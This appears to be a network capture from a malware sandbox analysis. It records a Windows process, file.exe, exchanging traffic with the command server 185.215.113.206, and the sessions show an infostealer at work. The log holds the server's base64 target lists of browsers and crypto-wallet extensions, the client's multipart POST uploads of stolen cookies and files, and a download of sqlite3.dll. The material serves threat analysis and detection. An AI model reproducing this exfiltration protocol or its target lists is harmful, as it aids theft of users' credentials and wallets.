54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 27, 2024 16:34:17.382030010 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 27, 2024 16:34:17.389429092 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBFBFBKFIDHJKFCAFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 2d 2d 0d 0a Data Ascii: ------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="message"plugins------FCFBFBFBKFIDHJKFCAFC--
Nov 27, 2024 16:34:17.852874041 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 27, 2024 16:34:17.852904081 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 27, 2024 16:34:17.852917910 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 27, 2024 16:34:17.853044987 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 27, 2024 16:34:17.853058100 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 27, 2024 16:34:17.853070974 CET	620	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 27, 2024 16:34:18.063189030 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Nov 27, 2024 16:34:18.065984011 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEHJJKJEGHJJKEBFBG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 48 4a 4a 4b 4a 45 47 48 4a 4a 4b 45 42 46 42 47 2d 2d 0d 0a Data Ascii: ------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------HJJEHJJKJEGHJJKEBFBGContent-Disposition: form-data; name="message"fplugins------HJJEHJJKJEGHJJKEBFBG--
Nov 27, 2024 16:34:18.534044027 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:18 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 27, 2024 16:34:18.552062035 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFH Host: 185.215.113.206 Content-Length: 5567 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 16:34:18.552114964 CET	5567	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 Data Ascii: ------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 27, 2024 16:34:19.561115980 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 16:34:20.571937084 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 16:34:21.033684015 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 27, 2024 16:34:21.033699989 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 27, 2024 16:34:21.035986900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49738	185.215.113.206	80	2708	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:34:30.724179983 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIII Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDAKFCGIJKJKFHIDHIII--
Nov 27, 2024 16:34:32.652518034 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 16:34:32.771940947 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="token"bad78f46b6f483e061ff60cce5df2ccc209d9daa9fc2e8f0e6c5fd22ac6cfaef0d13ba09------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBKJJJDHDGDAAKECAKJDContent-Disposition: form-data; name="file"------CBKJJJDHDGDAAKECAKJD--
Nov 27, 2024 16:34:33.722105980 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49777	185.215.113.206	80	2708	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:34:40.319648027 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAE Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 61 64 37 38 66 34 36 62 36 66 34 38 33 65 30 36 31 66 66 36 30 63 63 65 35 64 66 32 63 63 63 32 30 39 64 39 64 61 61 39 66 63 32 65 38 66 30 65 36 63 35 66 64 32 32 61 63 36 63 66 61 65 66 30 64 31 33 62 61 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 47 48 49 4a 4b 45 47 49 45 43 42 46 43 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------HDGCGHIJKEGIECBFCBAEContent-Disposition: form-data; 